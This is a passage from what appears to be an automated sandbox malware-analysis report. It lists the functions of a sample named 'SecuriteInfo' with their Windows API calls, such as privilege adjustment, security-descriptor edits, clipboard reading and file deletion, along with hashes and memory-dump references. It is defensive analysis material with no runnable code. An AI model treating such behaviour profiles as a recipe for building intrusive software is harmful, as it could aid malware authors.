                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
                                      • String ID: $default$winsta0
                                      • API String ID: 22674027-1027155976
                                      • Opcode ID: 082f83d98b6431a7f479e2917710a6e3a0cc716c4377d2ae8afbff7e875d3fd2
                                      • Instruction ID: 568510fccb71e8cc470f5333afefba90ac8965c1f65414cc67880b09db69a885
                                      • Opcode Fuzzy Hash: 082f83d98b6431a7f479e2917710a6e3a0cc716c4377d2ae8afbff7e875d3fd2
                                      • Instruction Fuzzy Hash: AC816CB1A0520DBFDF218FA4DC49FEE7BB8EF45300F044129FA25A61A0D7758986DB60
                                      Function 00910AA6 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091103D: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00911058
                                        • Part of subcall function 0091103D: GetLastError.KERNEL32(?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911064
                                        • Part of subcall function 0091103D: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911073
                                        • Part of subcall function 0091103D: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0091107A
                                        • Part of subcall function 0091103D: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00911091
                                      • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00910B10
                                      • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00910B44
                                      • GetLengthSid.ADVAPI32(?), ref: 00910B5B
                                      • GetAce.ADVAPI32(?,00000000,?), ref: 00910B95
                                      • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00910BB1
                                      • GetLengthSid.ADVAPI32(?), ref: 00910BC8
                                      • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00910BD0
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00910BD7
                                      • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00910BF8
                                      • CopySid.ADVAPI32(00000000), ref: 00910BFF
                                      • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00910C2E
                                      • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00910C50
                                      • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00910C62
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910C89
                                      • HeapFree.KERNEL32(00000000), ref: 00910C90
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910C99
                                      • HeapFree.KERNEL32(00000000), ref: 00910CA0
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910CA9
                                      • HeapFree.KERNEL32(00000000), ref: 00910CB0
                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 00910CBC
                                      • HeapFree.KERNEL32(00000000), ref: 00910CC3
                                        • Part of subcall function 009110D7: GetProcessHeap.KERNEL32(00000008,00910AF5,?,00000000,?,00910AF5,?), ref: 009110E5
                                        • Part of subcall function 009110D7: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 009110EC
                                        • Part of subcall function 009110D7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00910AF5,?), ref: 009110FB
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Heap$Process$Security$Free$AllocateDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                      • String ID:
                                      • API String ID: 4042927181-0
                                      • Opcode ID: 80b46e92f3ded57d6b17de3162b22441b8d23444e587f34a8adbe36d08f0f894
                                      • Instruction ID: d72b69e874f644fb35f50b0f342462ee38505a324fc238704077b52fd48e6461
                                      • Opcode Fuzzy Hash: 80b46e92f3ded57d6b17de3162b22441b8d23444e587f34a8adbe36d08f0f894
                                      • Instruction Fuzzy Hash: 05716CB6A05209BFDF509FA4DC48FEEBBBCBF49300F044215E955A6191D7B19984CFA0
                                      Function 0092EA26 Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • OpenClipboard.USER32(0094D0D0), ref: 0092EA50
                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 0092EA5E
                                      • GetClipboardData.USER32(0000000D), ref: 0092EA6A
                                      • CloseClipboard.USER32 ref: 0092EA76
                                      • GlobalLock.KERNEL32(00000000), ref: 0092EAAE
                                      • CloseClipboard.USER32 ref: 0092EAB8
                                      • GlobalUnlock.KERNEL32(00000000), ref: 0092EAE3
                                      • IsClipboardFormatAvailable.USER32(00000001), ref: 0092EAF0
                                      • GetClipboardData.USER32(00000001), ref: 0092EAF8
                                      • GlobalLock.KERNEL32(00000000), ref: 0092EB09
                                      • GlobalUnlock.KERNEL32(00000000), ref: 0092EB49
                                      • IsClipboardFormatAvailable.USER32(0000000F), ref: 0092EB5F
                                      • GetClipboardData.USER32(0000000F), ref: 0092EB6B
                                      • GlobalLock.KERNEL32(00000000), ref: 0092EB7C
                                      • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0092EB9E
                                      • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0092EBBB
                                      • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0092EBF9
                                      • GlobalUnlock.KERNEL32(00000000), ref: 0092EC1A
                                      • CountClipboardFormats.USER32 ref: 0092EC3B
                                      • CloseClipboard.USER32 ref: 0092EC80
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
                                      • String ID:
                                      • API String ID: 420908878-0
                                      • Opcode ID: cb699dbac8b78aa0bcb79d09f00ec3c0a8a693f7a323d1cbf1f7a8e2b8dd4ebb
                                      • Instruction ID: 46b8aa8a60084306bf414c20d37b6c5dd033b8a40424b34778b7d84c58ed3eb1
                                      • Opcode Fuzzy Hash: cb699dbac8b78aa0bcb79d09f00ec3c0a8a693f7a323d1cbf1f7a8e2b8dd4ebb
                                      • Instruction Fuzzy Hash: A761BC742093029FD310EF68E895F6A77A8FF85304F048519F896872A2CB71E905DBA2
                                      Function 00949010 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfilenativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                      • DragQueryPoint.SHELL32(?,?), ref: 00949039
                                        • Part of subcall function 00947543: ClientToScreen.USER32(?,?), ref: 00947569
                                        • Part of subcall function 00947543: GetWindowRect.USER32(?,?), ref: 009475DF
                                        • Part of subcall function 00947543: PtInRect.USER32(?,?,00948A7B), ref: 009475EF
                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 009490A2
                                      • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 009490AD
                                      • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 009490D0
                                      • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00949117
                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 00949130
                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 00949147
                                      • SendMessageW.USER32(?,000000B1,?,?), ref: 00949169
                                      • DragFinish.SHELL32(?), ref: 00949170
                                      • NtdllDialogWndProc_W.NTDLL(?,00000233,?,00000000,?,?,?), ref: 00949263
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$Drag$Query$FileRectWindow$ClientDialogFinishLongNtdllPointProc_Screen
                                      • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                      • API String ID: 4085959399-3440237614
                                      • Opcode ID: 6a2a77869f1e3a1af08ee9b8620b08a4b9ed510f64fe426a1109df3e390f3f4f
                                      • Instruction ID: ca50dbc03f8a513fdaed6a6a76d3aa8db286bddbe77274dc9a2bda9d85337151
                                      • Opcode Fuzzy Hash: 6a2a77869f1e3a1af08ee9b8620b08a4b9ed510f64fe426a1109df3e390f3f4f
                                      • Instruction Fuzzy Hash: 85615971108301AFC711EF64DC85DAFBBE8FF99750F400A2DF596922A1EB709A49CB52
                                      Function 009268AD Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindFirstFileW.KERNEL32(?,?), ref: 009268DC
                                      • FindClose.KERNEL32(00000000), ref: 00926930
                                      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0092696C
                                      • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00926993
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 009269D0
                                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 009269FD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
                                      • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                      • API String ID: 3830820486-3289030164
                                      • Opcode ID: e641d64137fe95c848ded2bf5d1b5c55c8a045be26701030444f9df60bac0dbe
                                      • Instruction ID: 6ce08f53dc4bd64b4803ccd85ffaf9c7beccbae42c56c7a09ec81ea7c2a4a368
                                      • Opcode Fuzzy Hash: e641d64137fe95c848ded2bf5d1b5c55c8a045be26701030444f9df60bac0dbe
                                      • Instruction Fuzzy Hash: 72D12BB25083149ED310EF68C881EABB7ECFB89704F04491DF589D6291EB74DA48CB63
                                      Function 00929560 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00929581
                                      • GetFileAttributesW.KERNEL32(?), ref: 009295BF
                                      • SetFileAttributesW.KERNEL32(?,?), ref: 009295D9
                                      • FindNextFileW.KERNEL32(00000000,?), ref: 009295F1
                                      • FindClose.KERNEL32(00000000), ref: 009295FC
                                      • FindFirstFileW.KERNEL32(*.*,?), ref: 00929618
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00929668
                                      • SetCurrentDirectoryW.KERNEL32(00976B80), ref: 00929686
                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 00929690
                                      • FindClose.KERNEL32(00000000), ref: 0092969D
                                      • FindClose.KERNEL32(00000000), ref: 009296AD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                      • String ID: *.*
                                      • API String ID: 1409584000-438819550
                                      • Opcode ID: 29526d973d11cb3cb96d9576ea3c6b1830fa0038a6770b36eecd5e00bfc078af
                                      • Instruction ID: e0866b202f60526b0a404c28545028588b1ce9bf4ca6c67e56806cf06800baa9
                                      • Opcode Fuzzy Hash: 29526d973d11cb3cb96d9576ea3c6b1830fa0038a6770b36eecd5e00bfc078af
                                      • Instruction Fuzzy Hash: BC31F1766056296FDF20AFB4EC08EEE73ECAF4A324F004166F854E2190EB71DA448A54
                                      Function 008CB728 Relevance: 18.4, Strings: 14, Instructions: 881COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                      • API String ID: 0-4052911093
                                      • Opcode ID: 17acb0adc0084508ee98c6eb98060e205485725bf2080532718fc6f54318b0aa
                                      • Instruction ID: 3a8b453098753e6cde389fa31bf41aabc54feb0946e161f9db0e511d9930e5e0
                                      • Opcode Fuzzy Hash: 17acb0adc0084508ee98c6eb98060e205485725bf2080532718fc6f54318b0aa
                                      • Instruction Fuzzy Hash: E0728E71E006199FDB24CF59C881BBEB7B5FF44310F24816AE849EB285EB749D81CB91
                                      Function 009296BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 009296DC
                                      • FindNextFileW.KERNEL32(00000000,?), ref: 00929737
                                      • FindClose.KERNEL32(00000000), ref: 00929742
                                      • FindFirstFileW.KERNEL32(*.*,?), ref: 0092975E
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 009297AE
                                      • SetCurrentDirectoryW.KERNEL32(00976B80), ref: 009297CC
                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 009297D6
                                      • FindClose.KERNEL32(00000000), ref: 009297E3
                                      • FindClose.KERNEL32(00000000), ref: 009297F3
                                        • Part of subcall function 0091DA03: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0091DA1E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                      • String ID: *.*
                                      • API String ID: 2640511053-438819550
                                      • Opcode ID: 7ba8c6b21918a3457213e38389198463a0c0b9dae1ff8e54cd5ca3eead62ada0
                                      • Instruction ID: dea1181f2d99825089f3d77878bc90314b6579a57e026aa3d24813de15debd76
                                      • Opcode Fuzzy Hash: 7ba8c6b21918a3457213e38389198463a0c0b9dae1ff8e54cd5ca3eead62ada0
                                      • Instruction Fuzzy Hash: DE31F03660962A6FCF10AFA4FC48EDE73ACAF46364F104166E854E31A0DB70DE848A54
                                      Function 009280B3 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetLocalTime.KERNEL32(?), ref: 00928175
                                      • SystemTimeToFileTime.KERNEL32(?,?), ref: 00928185
                                      • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00928191
                                      • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0092822E
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00928242
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00928274
                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 009282AA
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 009282B3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CurrentDirectoryTime$File$Local$System
                                      • String ID: *.*
                                      • API String ID: 1464919966-438819550
                                      • Opcode ID: 9d350a0d8ed454f50986d0a61e2ebfc40cb23c5766d8c346746da93637441331
                                      • Instruction ID: 791c7e4386fdef6b140a7cee4d68c30ca1e541dee174d470e0b12c286b008992
                                      • Opcode Fuzzy Hash: 9d350a0d8ed454f50986d0a61e2ebfc40cb23c5766d8c346746da93637441331
                                      • Instruction Fuzzy Hash: AB6158725086159FCB10EF64D8849AFB3E8FF89310F04892EF999D7251EB31E945CB92
                                      Function 0091CF94 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B592D: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008B5922,?,?,008B48AA,?,?,?,00000000), ref: 008B594D
                                        • Part of subcall function 0091E0B7: GetFileAttributesW.KERNEL32(?,0091CEB3), ref: 0091E0B8
                                      • FindFirstFileW.KERNEL32(?,?), ref: 0091D040
                                      • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0091D0FB
                                      • MoveFileW.KERNEL32(?,?), ref: 0091D10E
                                      • DeleteFileW.KERNEL32(?,?,?,?), ref: 0091D12B
                                      • FindNextFileW.KERNEL32(00000000,00000010), ref: 0091D155
                                        • Part of subcall function 0091D1BA: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0091D13A,?,?), ref: 0091D1D0
                                      • FindClose.KERNEL32(00000000,?,?,?), ref: 0091D171
                                      • FindClose.KERNEL32(00000000), ref: 0091D182
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                      • String ID: \*.*
                                      • API String ID: 1946585618-1173974218
                                      • Opcode ID: 791aa4301a38ea5dd6260b5360763e40432add882dbb3b2f3c14c15cbfd3b3b1
                                      • Instruction ID: d43c71a11094327ff16e4e63a46379b542a2a25059960908f28d7a6c9549ab8e
                                      • Opcode Fuzzy Hash: 791aa4301a38ea5dd6260b5360763e40432add882dbb3b2f3c14c15cbfd3b3b1
                                      • Instruction Fuzzy Hash: 0061597190614DAACF05EBE8CA929EDB7B9BF15300F244065E401B7292EB716F49CB62
                                      Function 00948CBB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145windownativeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • NtdllDialogWndProc_W.NTDLL(?,00000111,?,?,?,?,?), ref: 00948D0F
                                        • Part of subcall function 00947D90: IsWindow.USER32(00BB23A0), ref: 00947E29
                                        • Part of subcall function 00947D90: IsWindowEnabled.USER32(00BB23A0), ref: 00947E35
                                      • GetMenuItemInfoW.USER32(?,?,?,?), ref: 00948DC1
                                      • GetMenuItemCount.USER32(?), ref: 00948DDE
                                      • GetMenuItemID.USER32(?), ref: 00948DEE
                                      • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00948E20
                                      • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00948E62
                                      • CheckMenuRadioItem.USER32(?,?,?,?,00000400), ref: 00948E93
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ItemMenu$Info$Window$CheckCountDialogEnabledNtdllProc_Radio
                                      • String ID: 0
                                      • API String ID: 3350703-4108050209
                                      • Opcode ID: 84ae1e3978ce22b1c78f176e3aa361e5407fc6d1ec2ac24c8f6f0ad6782d4a7c
                                      • Instruction ID: 2bc6af838eb7f6627877719c3aee31b9cc7d358d76481c5b4f73fea745ce5f01
                                      • Opcode Fuzzy Hash: 84ae1e3978ce22b1c78f176e3aa361e5407fc6d1ec2ac24c8f6f0ad6782d4a7c
                                      • Instruction Fuzzy Hash: 61518BB15193019FD710DF14D888EAFBBE8FF89354F000919FA85A7291DB31E905DBA2
                                      Function 0092EC91 Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
